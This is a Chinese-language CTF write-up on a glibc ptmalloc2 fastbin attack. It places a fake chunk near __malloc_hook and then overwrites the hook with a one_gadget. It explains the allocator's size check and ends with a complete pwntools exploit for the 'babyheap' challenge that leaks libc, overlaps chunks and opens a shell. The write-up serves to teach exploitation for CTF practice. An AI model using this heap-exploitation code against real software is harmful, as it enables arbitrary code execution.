Pwn Ptmalloc2 Chunk at __malloc_hook Nearby

堆题的最后一步攻击手段, 有一个就是覆盖各种 hook, 其中就包括 __malloc_hook. 如果我们无法控制程序恰好写入到此处, 但是可以修改 chunk 的 fd 或者 bk, 达到 尝试任意地址分配 的效果, 那么就可以尝试分配到 __malloc_hook 附近. 为什么这里说尝试呢? 因为在 malloc 在从 bins 中取 chunk 的时候, 都会对这个 chunk 的 size 进行检测. 所以, 我们需要分配到 __malloc_hook 之前, 恰好 size 位满足条件的地方. (Tcache 的话就不用了, 因为没有任何检测)

一般来说, 程序在初始化了堆以后, __malloc_hook 前面不远处会有 libc 的地址. 这取决于 libc bss 节上变量的分布. 举个例子, 在某版本的 glibc 初始化了堆后, __malloc_hook 附近如下图所示:

/pwn-ptmalloc2-chunk-at-malloc-hook-nearby/img/__malloc_hook.png
__malloc_hook (高亮处) 附近

可以看到, 在 __malloc_hook 前 0x8, 0x10, 0x20 处, 都有 libc 的地址, 且前 0x18 处为 0.

这样, 我们在 前 0x23 处作为 chunk 的地址, 那么此时的 fake chunk 如下:

/pwn-ptmalloc2-chunk-at-malloc-hook-nearby/img/fake_chunk.png
fake chunk

其中,

  • presize 为 0x01c7f68260000000, 虽然一看就不合法, 但是在 malloc 的时候并没有检测, 所以没有关系.
  • size 为 0x7f, 对其进行 chunksize 计算, 结果是 0x78, 在 fastbin 范围内.

所以, 这里应该看 fastbin 的 malloc 部分. 看看需要绕过什么, 或者还有什么其他细节.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
static void *
_int_malloc (mstate av, size_t bytes)
{
  ...
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      ...
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
            ...
        }
    ...
}

可以看到, 主要就是判断了一下 victim 计算出来的 fastbin_idx 是不是和当前 bin 的相等. 于是, 我们只能把这个 fake chunk 放到某个特定的 fastbin 中.

1
2
3
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

根据定义, fastbin_index(0x78) 算出来的值应该是 5, 即对应的 chunk size 为 0x70. 故只有把这个 fake chunk 放到 0x70 的 fastbin 中, 然后 malloc(0x60), 才能够分配成功.

分配成功后, 填充并覆盖掉 __malloc_hook 到 onegadget, 就实现了最后一步的攻击.

切勿思维定势, 覆盖 __malloc_hook 到其他代码段也是可以的, 具体得看程序如何利用. 这里仅仅是一次控制程序流的手段罢了, 只是绝大多数情况, 只要 onegadget 就可以 get shell.

前半段在这里

前面我们泄漏了 libc 的地址, 可以算出 __malloc_hook 的地址. 然后需要将一个 0x70 大小的 chunk 先 free 掉, 并通过溢出覆盖其 fd 到 __malloc_hook 附近的 fake chunk.

注意, 目前 fastbin 中没有 0x70 的 chunk, 所以会去看 unsortbin 部分. unsortbin 中只有一个 chunk, 且上一个释放的 chunk 就是它. 同时, 这个 chunk 的大小为 0x90, 能够切分成两个 chunk, 一个大小为 0x70, 另一个为 0x20. 根据机制, 我们这一次 malloc 得到的 chunk 会从这里分割, 此时, 之前造成的堆堆叠也同时存在. 也就是 chunk 2 也指向新分配的这个 chunk. 然后我们把新得到的这个 chunk free 掉. 此时, Fill 2 就能够修改其 fd 了. 将其修改到 __malloc_hook 附近的 fake chunk, 再 malloc 两个 0x70 的 chunk, 第二个就是 fake chunk 了. 最后覆盖 __malloc_hook 到 onegadget, 然后 Allocate 触发 malloc hook 即可.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './babyheap'

io = process(procname)
# io = remote('node4.buuoj.cn', 29123)
elf = ELF(procname)
libc = ELF('/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc.so.6')

def n2b(x):
  return str(x).encode()

def op(x):
  io.sendlineafter(b'Command: ', n2b(x))

def Allocate(sz):
  op(1)
  io.sendlineafter(b'Size: ', n2b(sz))

def Fill(idx, content):
  op(2)
  io.sendlineafter(b'Index: ', n2b(idx))
  io.sendlineafter(b'Size: ', n2b(len(content)))
  io.sendafter(b'Content: ', content)

def Free(idx):
  op(3)
  io.sendlineafter(b'Index: ', n2b(idx))

def Dump(idx):
  op(4)
  io.sendlineafter(b'Index: ', n2b(idx))
  io.recvuntil(b'Content: \n')

def main():
  Allocate(0x10)
  Allocate(0x10)
  Allocate(0x10)
  Allocate(0x10)
  Allocate(0x80)
  Allocate(0x10)
  Free(2)
  Free(1)

  payload_overleap_fd = b'a' * 0x10 + p64(0) + p64(0x21) + b'\x80'
  Fill(0, payload_overleap_fd)
  payload_overleap_size = b'b' * 0x10 + p64(0) + p64(0x21)
  Fill(3, payload_overleap_size)
  Allocate(0x10)
  Allocate(0x10) # 2 -> idx 4
  payload_overleap_size = b'c' * 0x10 + p64(0) + p64(0x91)
  Fill(3, payload_overleap_size)
  Free(4)
  Dump(2)
  leak_unsort_bin = u64(io.recv(8))
  success(f'leak unsort bin: {hex(leak_unsort_bin)}')
  libc_base = leak_unsort_bin - 0x3C4B78
  success(f'libc base: {hex(libc_base)}')
  malloc_hook = libc_base + libc.sym['__malloc_hook']
  success(f'malloc hook: {hex(malloc_hook)}')
  pause()
  fake_chunk_nearby_malloc_hook = malloc_hook - 0x10 - 0x03 - 0x10
  success(f'fake chunk: {hex(fake_chunk_nearby_malloc_hook)}')

  Allocate(0x60) # 4
  Allocate(0x60) # 6
  Free(6)
  Free(4)
  payload_fd_to_malloc_hook = p64(fake_chunk_nearby_malloc_hook)
  Fill(2, payload_fd_to_malloc_hook)

  Allocate(0x60) # 4
  Allocate(0x60) # 6

  onegadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
  payload_malloc_hook_one_gadget = b'd' * 19 + p64(onegadget[1] + libc_base)
  Fill(6, payload_malloc_hook_one_gadget)
  Allocate(0x80)
  io.interactive()

if __name__ == '__main__':
  main()